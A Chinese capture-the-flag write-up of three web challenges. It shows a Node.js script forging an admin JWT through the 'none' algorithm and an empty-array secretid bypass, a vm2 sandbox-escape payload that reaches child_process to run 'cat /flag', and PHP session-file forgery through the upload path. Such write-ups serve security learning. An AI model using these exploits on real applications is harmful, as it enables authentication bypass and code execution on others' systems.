zoukankan      html  css  js  c++  java
  • 虎符CTF web复现

    easy_login

    一看到Nodejs我就怕了,先放着吧...
    首页是登陆注册页面在这里插入图片描述
    然后根据/app.js:
    在这里插入图片描述
    可以找到主逻辑代码/controller/api.js

    主要有三个路由:
    1./api/register

    注册的username不能为admin,随机生成secret密钥,放入secrets[]数组,secretid为数组长度,然后根据{secretid, username, password}, secret,通过HS256的加密方式生成jwt token
    在这里插入图片描述
    2./api/login
    首先获取username,password,token
    然后解析token中的secretid赋值给sid,如果不满足sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0),则从全局数组中获取密钥:secrets[sid],并进行jwt验证,验证成功则将username存入session
    在这里插入图片描述
    3./api/flag
    是admin就返回flag
    在这里插入图片描述
    那么就是需要成为admin了

    根据赵总的wp知道,如果加密方式为none,验证时密钥为空或者undefined的话,就能直接伪造jwt通过验证
    如下:
    在这里插入图片描述
    上面这个是什么意思呢,首先看到jsonwebtoken库的源码中/node_modules/jsonwebtoken/verify.js第109行,这里的options选项为:algoritms
    在这里插入图片描述
    而题目源码中给的验证却是algorithm
    在这里插入图片描述
    那么实际上这就是开发者对jwt库不了解导致的,所以这里验证时的HS256实际上在源码中为none

    而如果验证的方式为none,并且密钥为空或者undefined的话,就能直接伪造jwt,修改的方法也就是将验证的参数设置为algorithms,如下,就不会通过验证
    在这里插入图片描述

    加密时的密钥我们不可控,而验证时的密钥是由sid索引取值的

    先看一下源码sid的逻辑:
    在这里插入图片描述
    sid不能为undefined、null,然后sid即不能>1或<=0

    那么sid可以取0-1之间,如0.5
    在这里插入图片描述
    由于js的弱类型,空数组>=0为真
    在这里插入图片描述
    所以空数组也能绕过在这里插入图片描述
    为了伪造jwt,我们这里的加密方式也要设置为none,与验证对应,密钥随便,payload:

    const jwt = require('jsonwebtoken')
    const token = jwt.sign({secretid:[], username:"admin", password:"123"}, '123', {algorithm: 'none'});
    console.log(token)
    b=jwt.verify(token,undefined,{algorithm: 'HS256'});
    console.log(b);
    

    得到

    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4ODE1OTgzOH0.
    { secretid: [], username: 'admin', password: '123', iat: 1588159838 }
    

    登陆的时候替换token
    在这里插入图片描述
    在这里插入图片描述
    /api/flag
    在这里插入图片描述

    just_escape

    考点:github上的issue(Nodejs沙箱逃逸)
    在这里插入图片描述
    在这里插入图片描述
    试了一堆php都没什么用,然后无意间试了一下{{7*7}}跳出来个49,以为这是python,一直在这里浪费时间,没想到还是Nodejs,看了赵总的wp,原来是根据报错信息来判断:

    /run.php?code=(function(){
    var err = new Error();
    return err.stack;
    })();
    

    据此可以判断是Nodejs+vm
    在这里插入图片描述
    而且exp就是github上的issue:
    https://github.com/patriksimek/vm2/issues/225
    这里由于有过滤,就用数组绕过,然后直接用现成的exp

    try{
    		Buffer.from(new Proxy({}, {
    			getOwnPropertyDescriptor(){
    				throw f=>f.constructor("return process")();
    			}
    		}));
    	}catch(e){
    		e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
    	}
    

    在这里插入图片描述
    我就想知道师傅们是怎么找到这个issue的

    babyupload

    考点:sess伪造
    这题之前遇到过类似的,但是我把时间浪费在第二题了就没看...
    源码:

    <?php
    error_reporting(0);
    session_save_path("/var/babyctf/");
    session_start();
    require_once "/flag";
    highlight_file(__FILE__);
    if($_SESSION['username'] ==='admin')
    {
        $filename='/var/babyctf/success.txt';
        if(file_exists($filename)){
                safe_delete($filename);
                die($flag);
        }
    }
    else{
        $_SESSION['username'] ='guest';
    }
    $direction = filter_input(INPUT_POST, 'direction');
    $attr = filter_input(INPUT_POST, 'attr');
    $dir_path = "/var/babyctf/".$attr;
    if($attr==="private"){
        $dir_path .= "/".$_SESSION['username'];
    }
    if($direction === "upload"){
        try{
            if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
                throw new RuntimeException('invalid upload');
            }
            $file_path = $dir_path."/".$_FILES['up_file']['name'];
            $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
            if(preg_match('/(../|..\\)/', $file_path)){
                throw new RuntimeException('invalid file path');
            }
            @mkdir($dir_path, 0700, TRUE);
            if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
                $upload_result = "uploaded";
            }else{
                throw new RuntimeException('error while saving');
            }
        } catch (RuntimeException $e) {
            $upload_result = $e->getMessage();
        }
    } elseif ($direction === "download") {
        try{
            $filename = basename(filter_input(INPUT_POST, 'filename'));
            $file_path = $dir_path."/".$filename;
            if(preg_match('/(../|..\\)/', $file_path)){
                throw new RuntimeException('invalid file path');
            }
            if(!file_exists($file_path)) {
                throw new RuntimeException('file not exist');
            }
            header('Content-Type: application/force-download');
            header('Content-Length: '.filesize($file_path));
            header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
            if(readfile($file_path)){
                $download_result = "downloaded";
            }else{
                throw new RuntimeException('error while saving');
            }
        } catch (RuntimeException $e) {
            $download_result = $e->getMessage();
        }
        exit;
    }
    ?>
    

    首先session中是admin并且有success.txt则显示flag

    if($_SESSION['username'] ==='admin')
    {
        $filename='/var/babyctf/success.txt';
        if(file_exists($filename)){
                safe_delete($filename);
                die($flag);
        }
    }
    

    然后两个POST参数,direction是用来选择上传或读取的,attr会被拼接到路径中

    $direction = filter_input(INPUT_POST, 'direction');
    $attr = filter_input(INPUT_POST, 'attr');
    $dir_path = "/var/babyctf/".$attr;
    

    先看upload
    在这里插入图片描述
    这里会将路径拼接,也就是:/var/babyctf/$_POST['attr']/文件名_sha256(临时文件名)

    由于这里的session路径为/var/babyctf/
    在这里插入图片描述
    attr为空,文件名为sess,便可以伪造session文件

    不过首先得知道$_SESSION['username']里面有什么,用download查看
    在这里插入图片描述
    在这里插入图片描述
    这个不可见字符也是一部分,该guest为admin,文件内容有了,下一步是sha256的值,可以在本地搭一个然后上传sess文件查看:
    在这里插入图片描述
    然后上传该文件到靶机
    在这里插入图片描述
    上传之后可以用download查看确认

    在这里插入图片描述在这里插入图片描述
    现在替换sessid的话就是admin了,不过还需要有一个success.txt,由于他这里用的是file_exists,所以我们令attr=success.txt使之成为一个路径也能通过检测:这里文件随便
    在这里插入图片描述
    换sessid
    在这里插入图片描述

  • 相关阅读:
    【转】Android Web Server
    【转】Android Http Server
    一步一步教你150行代码实现简书滑动返回效果
    Android代码内存优化建议 OnTrimMemory
    Android应用Activity、Dialog、PopWindow、Toast窗口添加机制及源码分析
    Android 快速实现 ViewPager 滑动页卡切换(可用作整个 app上导航)
    阴影效果 ShadowLayout 布局实现(让控件实现立体效果)
    ViewDragHelper让你处理View拖动时,代码减半!
    Android淘宝电影日期选项卡的实现-tab 栏居中滚动
    Android开源项目分类汇总
  • 原文地址:https://www.cnblogs.com/W4nder/p/12735002.html
Copyright © 2011-2022 走看看